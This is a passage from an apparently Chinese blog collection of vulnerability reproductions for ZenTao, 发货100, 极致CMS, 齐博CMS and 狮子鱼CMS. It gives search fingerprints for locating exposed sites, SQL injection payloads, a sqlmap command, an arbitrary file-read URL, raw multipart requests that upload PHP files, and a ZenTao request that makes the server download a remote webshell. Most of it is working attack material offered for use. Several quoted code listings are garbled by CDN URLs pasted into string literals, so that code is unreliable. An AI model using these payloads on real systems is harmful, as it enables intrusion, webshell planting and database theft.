SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw

请求地址则为

http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw

img

下载的目录地址为zentaopms\www\data\client\1

目录为version名称

img

成功上传webshell

img

禅道 16.5 router.class.php SQL注入漏洞

漏洞描述

禅道 16.5 router.class.php 文件存在SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息,危害服务器安全

漏洞影响

禅道 16.5

网络测绘

app=”易软天创-禅道系统”

漏洞复现

登录页面

img

16.5 到 16.5.1 版本更新了 framework/base/router.class.php 文件

img

account参数使用了quote方法进行过滤SQL语句

img

可以看到这个方法主要是对字段加转义,所以可以推断 16.5 版本中存在SQL注入, 跟踪调试测试SQL注入

img

验证POC如下, 其中同样存在堆叠注入,通过SQL语句可修改管理员密码等

POST /user-login.html

account=admin%27+and+%28select+extractvalue%281%2Cconcat%280x7e%2C%28select+user%28%29%29%2C0x7e%29%29%29%23

image-20240806110731929

发货100

发货100 M_id SQL注入漏洞 CNVD-2021-30193

漏洞描述

发货100 M_id参数存在SQL注入漏洞, 攻击者通过漏洞可以获取数据库敏感信息

漏洞影响

发货100

网络测绘

icon_hash=”1420424513”

漏洞复现

主页面如下

img

使用POC

/?M_id=1%27&type=product

img

数据库出现报错, 使用Sqlmap注入

sqlmap -u 'http://xxx.xxx.xxx.xxx/?M_id=11%27&type=product' -p M_id

image-20240806110825694

极致CMS

极致CMS alipay_return_pay SQL注入漏洞

漏洞描述

极致CMS支付插件中存在SQL注入漏洞,通过漏洞可以获取数据库信息

漏洞影响

极致CMS

网络测绘

icon_hash=”1657387632”

漏洞复现

登录页面

img

查看一下进行过滤的函数

/**
	参数过滤,格式化
**/
function format_param($value=null,$int=0){
	if($value==null){ return '';}
	switch ($int){
		case 0://整数
			return (int)$value;
		case 1://字符串
			$value=htmlspecialchars(trim($value), ENT_QUOTES);
			if(version_compare(PHP_VERSION,'7.4','>=')){
				$value = addslashes($value);
			}else{
				if(!get_magic_quotes_gpc())$value = addslashes($value);
			}
			
			return $value;
		case 2://数组
			if($value=='')return '';
			array_walk_recursive($value, "array_format");
			return $value;
		case 3://浮点
			return (float)$value;
		case 4:
			if(version_compare(PHP_VERSION,'7.4','>=')){
				$value = addslashes($value);
			}else{
				if(!get_magic_quotes_gpc())$value = addslashes($value);
			}
			return trim($value);
	}
}

//过滤XSS攻击
function SafeFilter(&$arr) 
{
   $ra=Array('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/','/script/','/javascript/','/vbscript/','/expression/','/applet/'
   ,'/meta/','/xml/','/blink/','/link/','/style/','/embed/','/object/','/frame/','/layer/','/title/','/bgsound/'
   ,'/base/','/onload/','/onunload/','/onchange/','/onsubmit/','/onreset/','/onselect/','/onblur/','/onfocus/',
   '/onabort/','/onkeydown/','/onkeypress/','/onkeyup/','/onclick/','/ondblclick/','/onmousedown/','/onmousemove/'
   ,'/onmouseout/','/onmouseover/','/onmouseup/','/onunload/');
     
   if (is_array($arr))
   {
     foreach ($arr as $key => $value) 
     {
        if (!is_array($value))
        {
            if(version_compare(PHP_VERSION,'7.4','>=')){
				$value  = addslashes($value); 
			}else{
				if (!get_magic_quotes_gpc()){
					$value  = addslashes($value); 
				}
			}
          $value = preg_replace($ra,'',$value);     //删除非打印字符,粗暴式过滤xss可疑字符串
          $arr[$key]     = htmlentities(strip_tags($value)); //去除 HTML 和 PHP 标记并转换为 HTML 实体
        }
        else
        {
          SafeFilter($arr[$key]);
        }
     }
   }
}

看一下执行的SQL语句的函数

// 查询一条
   public function find($where=null,$order=null,$fields=null,$limit=1)
   {
   if( $record = $this->findAll($where, $order, $fields, 1) ){
		return array_pop($record);
	}else{
		return FALSE;
	}
   }

跟进 findAll 函数

// 查询所有
    public function findAll($conditions=null,$order=null,$fields=null,$limit=null)
    {
		$where = '';
		if(is_array($conditions)){
			$join = array();
			foreach( $conditions as $key => $value ){
				$value =  '\''.$value.'\'';
				$join[] = "{$key} = {$value}";
			}
			$where = "WHERE ".join(" AND ",$join);
		}else{
			if(null != $conditions)$where = "WHERE ".$conditions;
		}
      if(is_array($order)){
       		$where .= ' ORDER BY ';
            $where .= implode(',', $order);
      }else{
         if($order!=null)$where .= " ORDER BY  ".$order;
      }
		
		if(!empty($limit))$where .= " LIMIT {$limit}";
		$fields = empty($fields) ? "*" : $fields;
 
		$sql = "SELECT {$fields} FROM {$this->table} {$where}";
		
        return $this->getData($sql);
 
    }

在跟进一下getData函数

//获取数据
	public function getData($sql)
	{
		if(!$result = $this->query($sql))return array();
		if(!$this->Statement->rowCount())return array();
		$rows = array();
		while($rows[] = $this->Statement->fetch(PDO::FETCH_ASSOC)){}
		$this->Statement=null;
		array_pop($rows);
		return $rows;
	}

跟进query执行函数

//执行SQL语句并检查是否错误
	public function query($sql){
		$this->filter[] = $sql;
        $this->Statement = $this->pdo->query($sql);
        if ($this->Statement) {
			return $this;
        }else{
			$msg = $this->pdo->errorInfo();
			if($msg[2]) exit('数据库错误:' . $msg[2] . end($this->filter));
		}
	}
  • ✅看到$msg = $this->pdo->errorInfo();语句,也就是说会把数据库报错信息打印在页面上并显示出来并退出
  • ✅一套分析下来没有发现对sql语句的过滤,如果得到的数据没有经过format_param过滤,会产生注入

例如:

function exploit(){
    M('member')->find(['username'=>$_GET['name']]);
}

如果直接这样GET POST REQUEST 带入数据库 会产生报错注入

例如 ./exploit/name=123’ (加一个引号会报错,如果引号没过滤)

现在只需要寻找类型是这样没过滤直接带入数据库的语句就行了

简单寻找下其实这样的地方挺多的,拿一个位置举例子

img

这里是一个支付插件的位置,蓝色方块1增加代码模拟开通支付宝功能通过验证

可以看到这个函数只使用[htmlspecialchars]来过滤了xss,sql语句没有过滤,用刚刚的方法来注入

img

可以看到的确出现了sql语句和数据库错误,直接报错注入获取敏感信息

mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+"

image-20240806110917239

极致CMS 后台文件编辑插件 后台任意文件写入漏洞

漏洞描述

极致CMS后台中含有文件编辑插件,通过逻辑漏洞可任意修改文件

漏洞影响

极致CMS

网络测绘

icon_hash=”1657387632”

漏洞复现

登陆后台查看插件处,有一个后台编辑的插件

img

安装之后设置密码并使用, 如果已经设有密码,重新安装插件即可解决密码未知问题

img

修改为php代码

img

成功执行php代码的命令

齐博CMS

齐博CMS V7 job.php 任意文件读取漏洞

漏洞描述

QiboCMS V7版本/do/job.php页面URL参数过滤不严,导致可以下载系统任意文件,获取系统敏感信息。

漏洞影响

齐博CMS V7

网络测绘

app=”齐博软件-v7”

漏洞复现

漏洞分析 /inc/job/download.php

$url=trim(base64_decode($url));
    $fileurl=str_replace($webdb[www_url],"",$url);
    if( eregi(".php",$fileurl) && is_file(ROOT_PATH."$fileurl") ){
        die("ERR");
    }

    if(!$webdb[DownLoad_readfile]){
        $fileurl=strstr($url,"://")?$url:tempdir($fileurl);
        header("location:$fileurl");
        exit;
    }


    $webdb[upfileType] = str_replace(' ','|',$webdb[upfileType]);
    if( $webdb[local_download] && is_file(ROOT_PATH.$fileurl) && eregi("($webdb[upfileType])$",$fileurl) ){
        $filename=basename($fileurl);
        $filetype=substr(strrchr($filename,'.'),1);
        $_filename=preg_replace("/([\d]+)_(200[\d]+)_([^_]+)\.([^\.]+)/is","\\3",$filename);

        if(eregi("^([a-z0-9=]+)$",$_filename)&&!eregi("(jpg|gif|png)$",$filename)){
            $filename=urldecode(base64_decode($_filename)).".$filetype";
        }
        ob_end_clean();
        header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');
        header('Pragma: no-cache');
        header('Content-Encoding: none');
        header('Content-Disposition: attachment; filename='.$filename);
        header('Content-type: '.$filetype);
        header('Content-Length: '.filesize(ROOT_PATH."$fileurl"));
        readfile(ROOT_PATH."$fileurl");
        exit;
    }

url base64解码,匹配后缀 如果是php结尾的就退出 在windows下能用xxx.ph< 绕过 然后经过一系列的正则后会下载文件。

if( eregi(".php",$fileurl) && is_file(ROOT_PATH."$fileurl") ){
        die("ERR");
    }

漏洞POC

/do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8

img

狮子鱼CMS

狮子鱼CMS ApiController.class.php SQL注入漏洞

漏洞描述

狮子鱼CMS ApiController.class.php 参数过滤存在不严谨,导致SQL注入漏洞

漏洞影响

狮子鱼CMS

网络测绘

“/seller.php?s=/Public/login”

漏洞复现

登录页面如下

img

存在漏洞的文件为 ApiController.class.php , 关键位置为

public function goods_detail()
	{
		$goods_id = I('get.goods_id');
		//gallery =>img_url
		//goods goods.goods_desc  goods_name group_price  market_price  sell_count group_number 
		
		$sql="select g.*,gd.description,gd.summary,gd.tag from ".
		C('DB_PREFIX')."goods g,".C('DB_PREFIX')."goods_description gd where g.goods_id=gd.goods_id and g.goods_id=".$goods_id;
		
		$goods_arr=M()->query($sql);
		
		$qian=array("\r\n");
		$hou=array("<br/>");
		$goods_arr[0]['summary'] = str_replace($qian,$hou,$goods_arr[0]['summary']); 
		
		$sql="select image from ".C('DB_PREFIX')."goods_image where goods_id=".$goods_id;
		$goods_image=M()->query($sql);
		
		$gallery = array();
		$default_image = '';
		foreach($goods_image as $val)
		{
			$val['img_url'] = str_replace('http','https',C('SITE_URL')).'/Uploads/ http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/'.$val['image'];
			
			if(empty($default_image))
			{
				$default_image = str_replace('http','https',C('SITE_URL')).resize($val['image'], C('goods_thumb_width'), C('goods_thumb_height'));
			}
			
			$gallery[] = array('img_url' => $val['img_url']); 
		}
		
		$goods = $goods_arr[0];

img

漏洞测试为

https://xxx.xxx.xx.xxx/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5(1),0x7e),1)

image-20240806111159310

狮子鱼CMS ApigoodController.class.php SQL注入漏洞

漏洞描述

狮子鱼CMS ApiController.class.php 参数过滤存在不严谨,导致SQL注入漏洞

漏洞影响

狮子鱼CMS

网络测绘

“/seller.php?s=/Public/login”

漏洞复现

登录页面如下

img

存在漏洞的文件为 ApigoodsController.class.php , 关键位置为

public function get_goods_detail() {
       $id = I('get.id');
       $pin_id = I('get.pin_id', 0);
	
	$token = I('get.token');
	
	$weprogram_token = M('weprogram_token')->field('member_id')->where( array('token' =>$token) )->find();
	$member_id = $weprogram_token['member_id'];
	
	
	 
	
       $need_data = array();
       $sql = "select g.*,gd.description,gd.is_untake_level,level_discount,gd.video_src,gd.video_size_width,gd.vedio_size_height,gd.is_video,
           gd.summary,gd.share_title,gd.activity_summary,gd.tag from " . C('DB_PREFIX') . "goods g," . C('DB_PREFIX') . "goods_description gd where g.goods_id=gd.goods_id and g.goods_id=" . $id;
       $goods = M()->query($sql);
       $pin_model = D('Home/Pin');
       $goods_model = D('Home/Goods');
       $qian = array(
           "/Uploads/image"
       );
	$c_site_url = str_replace('/dan','',C('SITE_URL'));
       $hou = array(
           $c_site_url . "/Uploads/image"
       );
	$goods[0]['video_src'] = C('SITE_URL')."Uploads/http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/".$goods[0]['video_src'];
	
       $goods[0]['description'] = str_replace($qian, $hou, $goods[0]['description']);
       $goods[0]['description'] = htmlspecialchars_decode($goods[0]['description']);
       $qian = array(
           "\r\n"
       );

img

漏洞测试为

https://xxx.xxx.xx.xxx/index.php?s=apigoods/get_goods_detail&id=1%20and%20updatexml(1,concat(0x7e,md5(1),0x7e),1)

image-20240806111242816

狮子鱼CMS image_upload.php 任意文件上传

漏洞描述

狮子鱼CMS使用CK编辑器,存在图片上传的绕过,造成 image_upload.php 任意文件上传

漏洞影响

狮子鱼CMS

网络测绘

“/seller.php?s=/Public/login”

漏洞复现

登录页面如下

img

漏洞文件为 CK编辑器的 image_upload.php

<?php
 define ( 'IN_BAMBOO', true );
 // 取得根目录
define ( 'ROOT_PATH', '../../../../' );  // back to your root path

$arrType = array (
		'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/jpg',
		'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/gif',
		'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/png',
		'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/bmp',
		'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/pjpeg',
		'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/jpeg' 
);
$max_size = 500 * 1024; // 最大文件限制(单位:byte)
$upfile = ROOT_PATH.'http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/uploads'; // 图片目录路径
if (!isset($_FILES ['files'])){
	echo '{"result":"400","msg":"未能找到图片,请确认图片是否过大"}';
	exit ();
}
$file = $_FILES ['files'];

if ($_SERVER ['REQUEST_METHOD'] == 'POST') { // 判断提交方式是否为POST
	if (! is_uploaded_file ( $file ['tmp_name'] )) { // 判断上传文件是否存在
		echo '{"result":"400","msg":"图片不存在"}';
		exit ();
	}
	
	if ($file ['size'] > $max_size) { // 判断文件大小是否大于500000字节
		echo '{"result":"400","msg":"上传图片太大,最大支持:'.($max_size/1024).'KB"}';
		exit ();
	}
	if (! in_array ( $file ['type'], $arrType )) { // 判断图片文件的格式
		echo '{"result":"400","msg":"上传图片格式不对"}';
		exit ();
	}
	if (! file_exists ( $upfile )) { // 判断存放文件目录是否存在
		mkdir ( $upfile, 0777, true );
	}
	$imageSize = getimagesize ( $file ['tmp_name'] );
	$img = $imageSize [0] . '*' . $imageSize [1];
	$fname = $file ['name'];
	$ftype = explode ( '.', $fname );
	$time = explode ( " ", microtime () );
	$time = $time [1] . ($time [0] * 1000);
	$time2 = explode ( ".", $time );  
	$time = $time2 [0];
	$returnName=$time."." .end($ftype);
	$picName = $upfile . "/" . $returnName ;
	
	if (! move_uploaded_file ( $file ['tmp_name'], $picName )) {
		echo '{"result":"400","msg":"从:'.$file ['tmp_name'].'移动图片到:'.$picName.'出错"}';
		exit ();
	} else {
		echo '{"result":"200","imgurl":"http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/uploads/' . $returnName . '"}';
	}
}

?>

其中使用 image/gif 即可绕过上传PHP文件

POST /Common/ckeditor/plugins/multiimg/dialogs/image_upload.php HTTP/2
Host: 
Content-Type: multipart/form-data;boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Length: 208

------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="files"; filename="test.php"
Content-Type: image/gif

<?php phpinfo();?>
------WebKitFormBoundary8UaANmWAgM4BqBSs—

img

访问返回的文件路径

/Common/http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/uploads/xxxxx.php

image-20240806111323013

狮子鱼CMS wxapp.php 任意文件上传漏洞

漏洞描述

狮子鱼CMS wxapp.php文件 存在任意文件上传漏洞,攻击者在没有身份验证的情况下可以上传恶意文件

漏洞影响

狮子鱼CMS

网络测绘

“/seller.php?s=/Public/login”

漏洞复现

登录页面如下

img

发送请求包上传PHP文件

POST /wxapp.php?controller=Goods.doPageUpload HTTP/1.1
Host: 
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/avif,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/webp,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="upfile"; filename="test.php"
Content-Type: image/gif

<?php phpinfo();?>
------WebKitFormBoundary8UaANmWAgM4BqBSs--

img

image-20240806111410872


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录